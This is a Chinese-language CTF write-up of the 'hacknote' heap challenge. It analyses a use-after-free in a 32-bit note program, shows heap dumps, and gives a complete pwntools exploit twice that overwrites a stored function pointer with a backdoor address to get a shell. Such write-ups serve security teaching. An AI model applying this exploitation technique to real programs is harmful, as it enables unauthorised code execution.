题目链接–本地程序
fast fit思想
如果一个chunk是空闲的并且足够大(大于用户申请的chunk大小),那么申请chunk时,就会选择这个空闲的chunk
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接
运行一下
四种选择,添加一个note,删除一个note,输出一个note,退出程序
ida一下
主函数: 调用四个子函数,
menu函数:菜单栏
add_note();函数,首先限制了可以添加的note的数量,count不能大于5,添加note时,先是申请了0x8字节(mem大小为0x8字节,实际chunk大小为0x10字节)的内存(记为chunk1),之后又申请size(我们输入的大小)的内存(记为chunk2),然后chunk1指向chunk2,所以添加一个note,需要申请两个chunk
注意一下这里
*notelist[i] = print_note_content;
这里把一个puts函数地址赋给我们申请的第一个chunk(*notelist[i])
del_note();函数。首先判断输入的要删除的序号是否在[0,4],之后free掉note(申请的两个chunk),
但这里注意free掉之后未把指针置空,存在uaf漏洞
print_note();
注意一下这里,前半部分(*notelist[v2])是我们在add函数里的puts函数,后半部分(notelist[v2]);是puts函数的参数,把note的内容dayinchulai
(*notelist[v2])(notelist[v2]);
寻找一下有没有后门函数
思路
利用free后指针未置空,先申请两个相同大小的note,产生4个chunk,之后再全释放掉,然后再申请一个小于前两个chunk大小的note,这时把后门函数地址写入chunk中,覆盖掉puts函数的地址,再次调用 print_note();程序直接调用后门函数,获得shell
可以用gdb看一下
exp
from pwn import *
context(os='linux',endian='little',log_level='debug',arch='i386')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
sh = process("./hacknote")
elf = ELF("./hacknote")
def dbg():
gdb.attach(sh)
pause()
def add(size,content='a'):
sh.sendlineafter("Your choice :",'1')
sh.sendlineafter("Note size :",str(size))
sh.sendlineafter("Content :",content)
def dele(index):
sh.sendlineafter("Your choice :",'2')
sh.sendlineafter("Index :",str(index))
def show(index):
sh.sendlineafter("Your choice :",'3')
sh.sendlineafter("Index :",str(index))
def exits():
sh.sendlineafter("Your choice :",'4')
magic = p32(elf.sym['magic'])
add(0x10) #申请两个0x10(mem大小)字节大小的chunk(实际为0x18字节大小)
add(0x10)
dbg() #调试第一个断点
dele(0) #删除两个note
dele(1)
dbg() #调试第二个断点
add(0x8,magic) #首先申请一个0x10大小的chunk存放puts函数地址和context(输入的note内容)地址,
#因为我们最后释放的第1个note,所以再次申请chunk时会申请到第1个note的第一个chunk,
#而我们申请的申请一个0x8(mem大小)字节大小的chunk(实际为0x10字节大小),
#大小与第0个note的第一个chunk大小一样,会把这个chunk申请出来,
#而我们写入magic地址,就把puts函数地址覆盖为magic地址
dbg() #调试第三个断点
show(0) #调用(*notelist[v2])(notelist[v2]);,此时就是调用magic函数,获得shell
sh.interactive()
运行
可以看到程序运行到第一个断点处,发现程序申请了四个chunk,两个一组,一个chunk存puts函数地址(0x080485fb)和下一个chunk地址(0x08aad018),另一个chunk存放输入的note的内容
0x8aad000: 0x00000000 0x00000011 0x080485fb 0x08aad018#0号第一个chunk
0x8aad010: 0x00000000 0x00000019 0x00000a61 0x00000000
0x8aad020: 0x00000000 0x00000000 #0号第二个chunk 0x00000000 0x00000011
0x8aad030: 0x080485fb 0x08aad040 #1号第一个chunk 0x00000000 0x00000019
0x8aad040: 0x00000a61 0x00000000 0x00000000 0x00000000 #0号第二个chunk
接着运行
可以看到所有chunk中的puts函数地址都被free,但是指针未置空,使第一个chunk还是指向第二个chunk
接着运行
0号note的第一个chunk的puts函数处已经被我们覆盖为magic函数地址(0x08048945)
接着运行获得shell
去掉断点调试后的exp
from pwn import *
context(os='linux',endian='little',log_level='debug',arch='i386')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
sh = process("./hacknote")
elf = ELF("./hacknote")
def dbg():
gdb.attach(sh)
pause()
def add(size,content='a'):
sh.sendlineafter("Your choice :",'1')
sh.sendlineafter("Note size :",str(size))
sh.sendlineafter("Content :",content)
def dele(index):
sh.sendlineafter("Your choice :",'2')
sh.sendlineafter("Index :",str(index))
def show(index):
sh.sendlineafter("Your choice :",'3')
sh.sendlineafter("Index :",str(index))
def exits():
sh.sendlineafter("Your choice :",'4')
magic = p32(elf.sym['magic'])
add(0x10)
add(0x10)
dele(0)
dele(1)
add(0x8,magic)
show(0)
sh.interactive()